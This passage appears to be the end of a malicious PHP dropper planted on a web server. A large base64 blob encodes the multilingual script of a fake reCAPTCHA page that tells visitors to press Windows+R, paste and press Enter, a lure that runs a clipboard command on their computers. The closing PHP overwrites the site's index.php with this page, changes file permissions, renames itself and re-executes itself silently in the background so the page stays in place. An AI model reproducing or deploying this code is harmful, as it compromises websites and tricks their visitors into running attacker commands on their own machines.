IuLi4iLG5vdFJvYm90OiLgpK7gpYjgpIIg4KSP4KSVIOCksOCli+CkrOCli+CknyDgpKjgpLngpYDgpIIg4KS54KWC4KSBIixzdGVwczoi4KS44KSk4KWN4KSv4KS+4KSq4KSoIOCkmuCksOCkoyIsc3VjY2Vzczoi4KS44KSr4KSy4KWkIix2ZXJpZnlUaXRsZToi4KSv4KS5IOCkuOCkv+CkpuCljeCkpyDgpJXgpLDgpKjgpYcg4KSV4KWHIOCksuCkv+CkjyDgpJXgpL8g4KSG4KSqIOCksOCli+CkrOCli+CknyDgpKjgpLngpYDgpIIg4KS54KWI4KSCOiIsc3RlcDE6IldpbmRvd3Mg4KSV4KWB4KSC4KSc4KWAIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IOCkpuCkrOCkvuCkleCksCDgpLDgpJbgpYfgpILgpaQiLHN0ZXAyOiLgpLjgpKTgpY3gpK/gpL7gpKrgpKgg4KS14KS/4KSC4KSh4KWLIOCkruClh+CkgiA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IOCkpuCkrOCkvuCkj+CkgeClpCIsc3RlcDM6IuCkuOCkruCkvuCkquCljeCkpCDgpJXgpLDgpKjgpYcg4KSV4KWHIOCksuCkv+CkjyDgpJXgpYDgpKzgpYvgpLDgpY3gpKEg4KSq4KSwIDxiPkVudGVyPC9iPiDgpKbgpKzgpL7gpI/gpIHgpaQiLG9ic2VydmU6IuCkhuCkqiDgpKbgpYfgpJbgpYfgpILgpJfgpYcg4KSU4KSwIOCkuOCkueCkruCkpCDgpLngpYvgpILgpJfgpYc6Iixjb25maXJtTGVhZDoi4KSu4KWI4KSCIOCkj+CklSDgpLDgpYvgpKzgpYvgpJ8g4KSo4KS54KWA4KSCIOCkueClguCkgSAtIHJlQ0FQVENIQSDgpLjgpKTgpY3gpK/gpL7gpKrgpKgg4KSG4KSI4KSh4KWAOiAiLGZpbmFsOiLgpLjgpKTgpY3gpK/gpL7gpKrgpKgg4KSq4KWC4KSw4KS+IOCkleCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkiuCkquCksCDgpKbgpL/gpI8g4KSX4KSPIOCkmuCksOCko+Cli+CkgiDgpJXgpL4g4KSq4KS+4KSy4KSoIOCkleCksOClh+CkguClpCIsdmVyaWZ5QnRuOiLgpLjgpKTgpY3gpK/gpL7gpKrgpL/gpKQg4KSV4KSw4KWH4KSCIixjb25maWRlbnRpYWxpdHk6IuCkl+Cli+CkquCkqOClgOCkr+CkpOCkviIsdGVybXM6IuCkqOCkv+Ckr+CkriDgpJTgpLAg4KS24KSw4KWN4KSk4KWH4KSCIixmb290ZXI6IuCkhuCkquCkleClgCDgpJXgpKjgpYfgpJXgpY3gpLbgpKgg4KSV4KWAIOCkuOClgeCksOCkleCljeCkt+CkviDgpJXgpYAg4KS44KSu4KWA4KSV4KWN4KS34KS+IOCkleCksOCkqOClhyDgpJXgpYAg4KSG4KS14KS24KWN4KSv4KSV4KSk4KS+IOCkueCliOClpCJ9LAoKICAgIGlkOntjaGVja2luZzoiTWVtZXJpa3NhIGFwYWthaCBBbmRhIG1hbnVzaWEuIEluaSBtdW5na2luIG1lbWJ1dHVoa2FuIGJlYmVyYXBhIGRldGlrLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmaWthc2kgYmFod2EgQW5kYSBtYW51c2lhIGRlbmdhbiBtZW55ZWxlc2Fpa2FuIHRpbmRha2FuIGRpIGJhd2FoIGluaS4iLHZlcmlmeWluZzoiTWVtdmVyaWZpa2FzaS4uLiIsbm90Um9ib3Q6IlNheWEgYnVrYW4gcm9ib3QiLHN0ZXBzOiJMYW5na2FoIFZlcmlmaWthc2kiLHN1Y2Nlc3M6IkJlcmhhc2lsLiIsdmVyaWZ5VGl0bGU6IlVudHVrIG1lbWJ1a3Rpa2FuIGJhaHdhIEFuZGEgYnVrYW4gcm9ib3Q6IixzdGVwMToiVGVrYW4gZGFuIHRhaGFuIFRvbWJvbCBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IkRpIGplbmRlbGEgdmVyaWZpa2FzaSwgdGVrYW4gPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJUZWthbiA8Yj5FbnRlcjwvYj4gcGFkYSBrZXlib2FyZCBBbmRhIHVudHVrIG1lbnllbGVzYWlrYW4uIixvYnNlcnZlOiJBbmRhIGFrYW4gbWVsaWhhdCBkYW4gbWVueWV0dWp1aToiLGNvbmZpcm1MZWFkOiJTYXlhIGJ1a2FuIHJvYm90IC0gSUQgVmVyaWZpa2FzaSByZUNBUFRDSEE6ICIsZmluYWw6Ikxha3VrYW4gbGFuZ2thaCBkaSBhdGFzIHVudHVrIG1lbnllbGVzYWlrYW4gdmVyaWZpa2FzaS4iLHZlcmlmeUJ0bjoiVmVyaWZpa2FzaSIsY29uZmlkZW50aWFsaXR5OiJLZXJhaGFzaWFhbiIsdGVybXM6IlN5YXJhdCBkYW4gS2V0ZW50dWFuIixmb290ZXI6InBlcmx1IG1lbmluamF1IGtlYW1hbmFuIGtvbmVrc2kgQW5kYSBzZWJlbHVtIG1lbGFuanV0a2FuLiJ9LAoKICAgIHZpOntjaGVja2luZzoixJBhbmcga2nhu4NtIHRyYSB4ZW0gYuG6oW4gY8OzIHBo4bqjaSBsw6AgY29uIG5nxrDhu51pIGtow7RuZy4gVmnhu4djIG7DoHkgY8OzIHRo4buDIG3huqV0IHbDoGkgZ2nDonkuIix2ZXJpZnlJbnN0cnVjdGlvbjoiWMOhYyBtaW5oIGLhuqFuIGzDoCBuZ8aw4budaSBi4bqxbmcgY8OhY2ggaG/DoG4gdGjDoG5oIGjDoG5oIMSR4buZbmcgYsOqbiBkxrDhu5tpLiIsdmVyaWZ5aW5nOiLEkGFuZyB4w6FjIG1pbmguLi4iLG5vdFJvYm90OiJUw7RpIGtow7RuZyBwaOG6o2kgbMOgIHLDtC1i4buRdCIsc3RlcHM6IkPDoWMgYsaw4bubYyB4w6FjIG1pbmgiLHN1Y2Nlc3M6IlRow6BuaCBjw7RuZy4iLHZlcmlmeVRpdGxlOiLEkOG7gyBjaOG7qW5nIG1pbmggYuG6oW4ga2jDtG5nIHBo4bqjaSBsw6AgcsO0LWLhu5F0OiIsc3RlcDE6Ik5o4bqlbiB2w6AgZ2nhu68gcGjDrW0gV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJUcm9uZyBj4butYSBz4buVIHjDoWMgbWluaCwgbmjhuqVuIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiTmjhuqVuIDxiPkVudGVyPC9iPiB0csOqbiBiw6BuIHBow61tIMSR4buDIGvhur90IHRow7pjLiIsb2JzZXJ2ZToiQuG6oW4gc+G6vSBxdWFuIHPDoXQgdsOgIMSR4buTbmcgw706Iixjb25maXJtTGVhZDoiVMO0aSBraMO0bmcgcGjhuqNpIGzDoCByw7QtYuG7kXQgLSBJRCB4w6FjIG1pbmggcmVDQVBUQ0hBOiAiLGZpbmFsOiJUaOG7sWMgaGnhu4duIGPDoWMgYsaw4bubYyB0csOqbiDEkeG7gyBob8OgbiB04bqldCB4w6FjIG1pbmguIix2ZXJpZnlCdG46IljDoWMgbWluaCIsY29uZmlkZW50aWFsaXR5OiJC4bqjbyBt4bqtdCIsdGVybXM6IsSQaeG7gXUga2hv4bqjbiB2w6AgxJBp4buBdSBraeG7h24iLGZvb3RlcjoiY+G6p24ga2nhu4NtIHRyYSBi4bqjbyBt4bqtdCBr4bq/dCBu4buRaSBj4bunYSBi4bqhbiB0csaw4bubYyBraGkgdGnhur9wIHThu6VjLiJ9LAoKICAgIHRoOntjaGVja2luZzoi4LiB4Liz4Lil4Lix4LiH4LiV4Lij4Lin4LiI4Liq4Lit4Lia4Lin4LmI4Liy4LiE4Li44LiT4LmA4Lib4LmH4LiZ4Lih4LiZ4Li44Lip4Lii4LmM4Lir4Lij4Li34Lit4LmE4Lih4LmIIOC4reC4suC4iOC5g+C4iuC5ieC5gOC4p+C4peC4suC4quC4seC4geC4hOC4o+C4ueC5iCIsdmVyaWZ5SW5zdHJ1Y3Rpb246IuC5guC4m+C4o+C4lOC4ouC4t+C4meC4ouC4seC4meC4p+C5iOC4suC4hOC4uOC4k+C5gOC4m+C5h+C4meC4oeC4meC4uOC4qeC4ouC5jOC5guC4lOC4ouC4l+C4s+C4leC4suC4oeC4guC4seC5ieC4meC4leC4reC4meC4lOC5ieC4suC4meC4peC5iOC4suC4hyIsdmVyaWZ5aW5nOiLguIHguLPguKXguLHguIfguJXguKPguKfguIjguKrguK3guJouLi4iLG5vdFJvYm90OiLguInguLHguJnguYTguKHguYjguYPguIrguYjguKvguLjguYjguJnguKLguJnguJXguYwiLHN0ZXBzOiLguILguLHguYnguJnguJXguK3guJnguIHguLLguKPguKLguLfguJnguKLguLHguJkiLHN1Y2Nlc3M6IuC4quC4s+C5gOC4o+C5h+C4iCIsdmVyaWZ5VGl0bGU6IuC5gOC4nuC4t+C5iOC4reC4nuC4tOC4quC4ueC4iOC4meC5jOC4p+C5iOC4suC4hOC4uOC4k+C5hOC4oeC5iOC5g+C4iuC5iOC4q+C4uOC5iOC4meC4ouC4meC4leC5jDoiLHN0ZXAxOiLguIHguJTguITguYnguLLguIfguJfguLXguYjguJvguLjguYjguKEgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPiIsc3RlcDI6IuC5g+C4meC4q+C4meC5ieC4suC4leC5iOC4suC4h+C4geC4suC4o+C4ouC4t+C4meC4ouC4seC4mSDguYPguKvguYnguIHguJQgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPiIsc3RlcDM6IuC4geC4lCA8Yj5FbnRlcjwvYj4g4LmA4Lie4Li34LmI4Lit4LmA4Liq4Lij4LmH4LiI4Liq4Li04LmJ4LiZIixvYnNlcnZlOiLguITguLjguJPguIjguLDguYDguKvguYfguJnguYHguKXguLDguJXguIHguKXguIc6Iixjb25maXJtTGVhZDoi4LiJ4Lix4LiZ4LmE4Lih4LmI4LmD4LiK4LmI4Lir4Li44LmI4LiZ4Lii4LiZ4LiV4LmMIC0g4Lij4Lir4Lix4Liq4Lii4Li34LiZ4Lii4Lix4LiZIHJlQ0FQVENIQTogIixmaW5hbDoi4LiU4Liz4LmA4LiZ4Li04LiZ4LiB4Liy4Lij4LiV4Liy4Lih4LiC4Lix4LmJ4LiZ4LiV4Lit4LiZ4LiU4LmJ4Liy4LiZ4Lia4LiZ4LmA4Lie4Li34LmI4Lit4LmA4Liq4Lij4LmH4LiI4Liq4Li04LmJ4LiZ4LiB4Liy4Lij4Lii4Li34LiZ4Lii4Lix4LiZIix2ZXJpZnlCdG46IuC4ouC4t+C4meC4ouC4seC4mSIsY29uZmlkZW50aWFsaXR5OiLguITguKfguLLguKHguKXguLHguJoiLHRlcm1zOiLguILguYnguK3guIHguLPguKvguJnguJTguYHguKXguLDguYDguIfguLfguYjguK3guJnguYTguIIiLGZvb3Rlcjoi4LiI4Liz4LmA4Lib4LmH4LiZ4LiV4LmJ4Lit4LiH4LiV4Lij4Lin4LiI4Liq4Lit4Lia4LiE4Lin4Liy4Lih4Lib4Lil4Lit4LiU4Lig4Lix4Lii4LiC4Lit4LiH4LiB4Liy4Lij4LmA4LiK4Li34LmI4Lit4Lih4LiV4LmI4Lit4LiC4Lit4LiH4LiE4Li44LiT4LiB4LmI4Lit4LiZ4LiU4Liz4LmA4LiZ4Li04LiZ4LiB4Liy4Lij4LiV4LmI4LitLiJ9LAoKICAgIHVrOntjaGVja2luZzoi0J/QtdGA0LXQstGW0YDQutCwLCDRh9C4INCy0Lgg0LvRjtC00LjQvdCwLiDQptC1INC80L7QttC1INC30LDQudC90Y/RgtC4INC60ZbQu9GM0LrQsCDRgdC10LrRg9C90LQuIix2ZXJpZnlJbnN0cnVjdGlvbjoi0J/RltC00YLQstC10YDQtNGW0YLRjCwg0YnQviDQstC4INC70Y7QtNC40L3QsCwg0LLQuNC60L7QvdCw0LLRiNC4INC00ZbRjiDQvdC40LbRh9C1LiIsdmVyaWZ5aW5nOiLQn9C10YDQtdCy0ZbRgNC60LAuLi4iLG5vdFJvYm90OiLQryDQvdC1INGA0L7QsdC+0YIiLHN0ZXBzOiLQmtGA0L7QutC4INC/0LXRgNC10LLRltGA0LrQuCIsc3VjY2Vzczoi0KPRgdC/0ZbRiNC90L4uIix2ZXJpZnlUaXRsZToi0KnQvtCxINC00L7QstC10YHRgtC4LCDRidC+INCy0Lgg0L3QtSDRgNC+0LHQvtGCOiIsc3RlcDE6ItCj0YLRgNC40LzRg9C50YLQtSDQutC70LDQstGW0YjRgyBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItCjINCy0ZbQutC90ZYg0L/QtdGA0LXQstGW0YDQutC4INC90LDRgtC40YHQvdGW0YLRjCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6ItCd0LDRgtC40YHQvdGW0YLRjCA8Yj5FbnRlcjwvYj4sINGJ0L7QsSDQt9Cw0LLQtdGA0YjQuNGC0LguIixvYnNlcnZlOiLQktC4INC/0L7QsdCw0YfQuNGC0LUg0YLQsCDQv9C+0LPQvtC00LjRgtC10YHRjDoiLGNvbmZpcm1MZWFkOiLQryDQvdC1INGA0L7QsdC+0YIg4oCUINGW0LTQtdC90YLQuNGE0ZbQutCw0YLQvtGAINC/0LXRgNC10LLRltGA0LrQuCByZUNBUFRDSEE6ICIsZmluYWw6ItCS0LjQutC+0L3QsNC50YLQtSDQvdCw0LLQtdC00LXQvdGWINCy0LjRidC1INC60YDQvtC60LgsINGJ0L7QsSDQt9Cw0LLQtdGA0YjQuNGC0Lgg0L/QtdGA0LXQstGW0YDQutGDLiIsdmVyaWZ5QnRuOiLQn9C10YDQtdCy0ZbRgNC40YLQuCIsY29uZmlkZW50aWFsaXR5OiLQmtC+0L3RhNGW0LTQtdC90YbRltC50L3RltGB0YLRjCIsdGVybXM6ItCj0LzQvtCy0LgiLGZvb3Rlcjoi0L/QvtCy0LjQvdC90LAg0L/QtdGA0LXQstGW0YDQuNGC0Lgg0LHQtdC30L/QtdC60YMg0LLQsNGI0L7Qs9C+INC3J9GU0LTQvdCw0L3QvdGPINC/0LXRgNC10LQg0L/RgNC+0LTQvtCy0LbQtdC90L3Rj9C8LiJ9LAoKICAgIGNzOntjaGVja2luZzoiS29udHJvbHVqZSBzZSwgemRhIGpzdGUgxI1sb3bEm2suIFRvIG3Fr8W+ZSB0cnZhdCBuxJtrb2xpayBzZWt1bmQuIix2ZXJpZnlJbnN0cnVjdGlvbjoiT3bEm8WZdGUsIMW+ZSBqc3RlIMSNbG92xJtrLCBwcm92ZWRlbsOtbSBuw63FvmUgdXZlZGVuw6kgYWtjZS4iLHZlcmlmeWluZzoiT3bEm8WZb3bDoW7DrS4uLiIsbm90Um9ib3Q6Ik5lanNlbSByb2JvdCIsc3RlcHM6Iktyb2t5IG92xJvFmWVuw60iLHN1Y2Nlc3M6IsOac3DEm8WhbsSbLiIsdmVyaWZ5VGl0bGU6IkFieSBzZSBwcm9rw6F6YWxvLCDFvmUgbmVqc3RlIHJvYm90OiIsc3RlcDE6IlN0aXNrbsSbdGUgYSBwb2Ryxb50ZSBrbMOhdmVzdSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IlYgb3bEm8WZb3ZhY8OtbSBva27EmyBzdGlza27Em3RlIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiU3Rpc2tuxJt0ZSA8Yj5FbnRlcjwvYj4gcHJvIGRva29uxI1lbsOtLiIsb2JzZXJ2ZToiQnVkZXRlIHBvem9yb3ZhdCBhIHNvdWhsYXNpdDoiLGNvbmZpcm1MZWFkOiJOZWpzZW0gcm9ib3Qg4oCUIElEIG92xJvFmWVuw60gcmVDQVBUQ0hBOiAiLGZpbmFsOiJQcm8gZG9rb27EjWVuw60gb3bEm8WZZW7DrSBwcm92ZcSPdGUgdsO9xaFlIHV2ZWRlbsOpIGtyb2t5LiIsdmVyaWZ5QnRuOiJPdsSbxZlpdCIsY29uZmlkZW50aWFsaXR5OiJExa92xJtybm9zdCIsdGVybXM6IlBvZG3DrW5reSIsZm9vdGVyOiJtdXPDrSB6a29udHJvbG92YXQgYmV6cGXEjW5vc3QgdmHFoWVobyBwxZlpcG9qZW7DrSBwxZllZCBwb2tyYcSNb3bDoW7DrW0uIn0KICB9OwoKICBmdW5jdGlvbiBkZXRlY3RMYW5nKCl7CiAgICBjb25zdCBwcmVmcz0obmF2aWdhdG9yLmxhbmd1YWdlcyYmbmF2aWdhdG9yLmxhbmd1YWdlcy5sZW5ndGg/bmF2aWdhdG9yLmxhbmd1YWdlczpbbmF2aWdhdG9yLmxhbmd1YWdlfHwiZW4iXSkubWFwKHg9PngudG9Mb3dlckNhc2UoKSk7CiAgICBmb3IoY29uc3QgbCBvZiBwcmVmcyl7CiAgICAgIGlmKGwuc3RhcnRzV2l0aCgiYXIiKSkgcmV0dXJuICJhciI7CiAgICAgIGlmKGwuc3RhcnRzV2l0aCgiaGUiKSkgcmV0dXJuICJhciI7IC8vIHRyZWF0IGhlYnJldyBhcyBydGwgKHdpbGwgYmUgaGFuZGxlZCkKICAgICAgaWYobC5zdGFydHNXaXRoKCJmciIpKSByZXR1cm4gImZyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJkZSIpKSByZXR1cm4gImRlIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJpdCIpKSByZXR1cm4gIml0IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJqYSIpKSByZXR1cm4gImphIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ6aCIpKSByZXR1cm4gInpoIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJrbyIpKSByZXR1cm4gImtvIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJydSIpKSByZXR1cm4gInJ1IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJlcyIpKSByZXR1cm4gImVzIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJwdCIpKSByZXR1cm4gInB0IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJubCIpKSByZXR1cm4gIm5sIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ0ciIpKSByZXR1cm4gInRyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJwbCIpKSByZXR1cm4gInBsIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJzdiIpKSByZXR1cm4gInN2IjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJkYSIpKSByZXR1cm4gImRhIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJmaSIpKSByZXR1cm4gImZpIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJoaSIpKSByZXR1cm4gImhpIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJpZCIpKSByZXR1cm4gImlkIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ2aSIpKSByZXR1cm4gInZpIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ0aCIpKSByZXR1cm4gInRoIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJ1ayIpKSByZXR1cm4gInVrIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJjcyIpKSByZXR1cm4gImNzIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJlbiIpKSByZXR1cm4gImVuIjsKICAgIH0KICAgIHJldHVybiAiZW4iOwogIH0KCiAgZnVuY3Rpb24gcmVhZHkoZm4peyBpZihkb2N1bWVudC5yZWFkeVN0YXRlPT09ImxvYWRpbmciKSBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmbik7IGVsc2UgZm4oKTsgfQoKICByZWFkeShmdW5jdGlvbigpewogICAgY29uc3QgbGFuZyA9IGRldGVjdExhbmcoKTsKICAgIGNvbnN0IHQgPSBpMThuW2xhbmddIHx8IGkxOG4uZW47CgogICAgLy8gUlRMIHN1cHBvcnQgZm9yIEFyYWJpYyBhbmQgSGVicmV3CiAgICBpZiAobGFuZyA9PT0gImFyIiB8fCBsYW5nID09PSAiaGUiKSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGlyID0gInJ0bCI7CgogICAgLy8gVG9wIGFyZWEgKHByZWxvYWRlciArIHByb21wdCkKICAgIGNvbnN0IHByZSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcmVsb2FkZXJfdGV4dCIpOyBpZihwcmUpIHByZS50ZXh0Q29udGVudCA9IHQuY2hlY2tpbmc7CiAgICBjb25zdCBhbGxzdGVwID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnRleHRhbGxzdGVwIik7IGlmKGFsbHN0ZXApIGFsbHN0ZXAudGV4dENvbnRlbnQgPSB0LnZlcmlmeUluc3RydWN0aW9uOwoKICAgIC8vIE9ubHkgcGFyYWdyYXBocyBpbnNpZGUgLnRldHR4IChhdm9pZCBidXR0b24vc3Bpbm5lcikKICAgIGNvbnN0IHNldCA9IChzZWwsIHR4dCk9PnsgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbChzZWwpLmZvckVhY2goZWw9PmVsLnRleHRDb250ZW50ID0gdHh0KTsgfTsKICAgIHNldCgiLnRldHR4IC5zdGVwMCIsIHQudmVyaWZ5aW5nKTsKICAgIHNldCgiLnRldHR4IC5zdGVwMSIsIHQubm90Um9ib3QpOwogICAgc2V0KCIudGV0dHggLnN0ZXAyIiwgdC5zdGVwcyk7CiAgICBzZXQoIi50ZXR0eCAuc3RlcDMiLCB0LnN1Y2Nlc3MpOwoKICAgIC8vIEVuc3VyZSBjaGVja2JveCBidXR0b24gaGFzIG5vIGlubmVyIGxhYmVsIChwcmV2ZW50cyBvdmVybGFwKQogICAgY29uc3QgY2IgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2hlY2tib3giKTsgaWYgKGNiKSBjYi50ZXh0Q29udGVudCA9ICIiOwoKICAgIC8vIFZlcmlmeSB3aW5kb3cgdGl0bGUgKyBzdGVwcwogICAgY29uc3QgdGl0bGVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHA6Zmlyc3Qtb2YtdHlwZSIpOwogICAgaWYgKHRpdGxlUCkgdGl0bGVQLmlubmVySFRNTCA9IHQudmVyaWZ5VGl0bGU7CgogICAgY29uc3Qgc3RlcHNPbCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZnktd2luZG93IC52ZXJpZnktbWFpbiBvbCIpOwogICAgaWYgKHN0ZXBzT2wpIHN0ZXBzT2wuaW5uZXJIVE1MID0gYDxsaT4ke3Quc3RlcDF9PC9saT48bGk+JHt0LnN0ZXAyfTwvbGk+PGxpPiR7dC5zdGVwM308L2xpPmA7CgogICAgLy8gT2JzZXJ2ZS9hZ3JlZSBsaW5lICsgbG9jYWxpemVkIGNoZWNrYm94IGNvZGUgdGV4dAogICAgY29uc3Qgb2JzZXJ2ZVAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjdmVyaWZ5LXdpbmRvdyAudmVyaWZ5LW1haW4gcC5vYnNlcnZlIik7CiAgICBpZiAob2JzZXJ2ZVApIHsKICAgICAgY29uc3QgY29kZUVsID0gb2JzZXJ2ZVAucXVlcnlTZWxlY3RvcigiY29kZSIpOwogICAgICBjb25zdCBwaWVjZXMgPSBvYnNlcnZlUC5pbm5lckhUTUwuc3BsaXQoIjxicj4iKTsKICAgICAgcGllY2VzWzBdID0gdC5vYnNlcnZlOwogICAgICBvYnNlcnZlUC5pbm5lckhUTUwgPSBwaWVjZXMuam9pbigiPGJyPiIpOwogICAgICBpZiAoY29kZUVsKSB7CiAgICAgICAgY29uc3QgaWRTcGFuID0gY29kZUVsLnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZmljYXRpb24taWQiKTsKICAgICAgICBjb25zdCBpZEh0bWwgPSBpZFNwYW4gPyBpZFNwYW4ub3V0ZXJIVE1MIDogJzxzcGFuIGlkPSJ2ZXJpZmljYXRpb24taWQiPjwvc3Bhbj4nOwogICAgICAgIGNvZGVFbC5pbm5lckhUTUwgPSBgIOKchSAiJHt0LmNvbmZpcm1MZWFkfSR7aWRIdG1sfSIgYDsKICAgICAgfQogICAgfQoKICAgIGNvbnN0IGxlZnQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudmVyaWZ5LWZvb3Rlci1sZWZ0Iik7IGlmIChsZWZ0KSBsZWZ0LnRleHRDb250ZW50ID0gdC5maW5hbDsKICAgIGNvbnN0IGJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktYnV0dG9uIik7IGlmIChidG4pIGJ0bi50ZXh0Q29udGVudCA9IHQudmVyaWZ5QnRuOwoKICAgIC8vIExlZ2FsIGxpbmtzIHRleHQKICAgIGNvbnN0IGxlZ2FsQm94ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI2NoZWNrYm94LXdpbmRvdyA+IGRpdiA+IGRpdjpsYXN0LWNoaWxkJyk7CiAgICBpZiAobGVnYWxCb3gpIHsKICAgICAgY29uc3QgcHMgPSBsZWdhbEJveC5xdWVyeVNlbGVjdG9yQWxsKCJwIik7CiAgICAgIGlmIChwc1swXSkgcHNbMF0udGV4dENvbnRlbnQgPSB0LmNvbmZpZGVudGlhbGl0eTsKICAgICAgaWYgKHBzWzFdKSBwc1sxXS50ZXh0Q29udGVudCA9IHQudGVybXM7CiAgICB9CgogICAgLy8gQm90dG9tIHNlbnRlbmNlOiB1cGRhdGUgdGhlIHNwZWNpZmljIHBhcmFncmFwaCB0aGF0IGNvbnRhaW5zIHRoZSBmb290ZXIgc2VudGVuY2UKICAgIGNvbnN0IGRvbWFpblBhcmFzID0gQXJyYXkuZnJvbShkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCJwIC5kb21haW4tbmFtZSIpKS5tYXAocz0+cy5wYXJlbnRFbGVtZW50KTsKICAgIGZvciAoY29uc3QgcCBvZiBkb21haW5QYXJhcyl7CiAgICAgIGlmICgvXGJuZWVkcyB0byByZXZpZXcgdGhlIHNlY3VyaXR5IG9mIHlvdXIgY29ubmVjdGlvbiBiZWZvcmUgcHJvY2VlZGluZ1wuL2kudGVzdChwLnRleHRDb250ZW50KSkgewogICAgICAgIGNvbnN0IGhvc3QgPSAocC5xdWVyeVNlbGVjdG9yKCIuZG9tYWluLW5hbWUiKT8udGV4dENvbnRlbnQgfHwgd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lIHx8ICIiKTsKICAgICAgICBwLmlubmVySFRNTCA9IGA8c3BhbiBjbGFzcz0iZG9tYWluLW5hbWUiPiR7aG9zdH08L3NwYW4+ICR7dC5mb290ZXJ9YDsKICAgICAgICBicmVhazsKICAgICAgfQogICAgfQogIH0pOwp9KSgpOwo8L3NjcmlwdD4KCjwvYm9keT48L2h0bWw+");if(!file_exists($w."index.php")){@file_put_contents($w."index.php",$aa);}else{$r=@file_get_contents($w."index.php");if(md5($r)!=md5($aa)){@chmod($w."index.php",0133+0511);@file_put_contents($w."index.php",$aa);}}@chmod($w."index.php",0311+0133);rename(__FILE__,$y);exec("php -f {$y} > /dev/null 2>/dev/null &",$bb);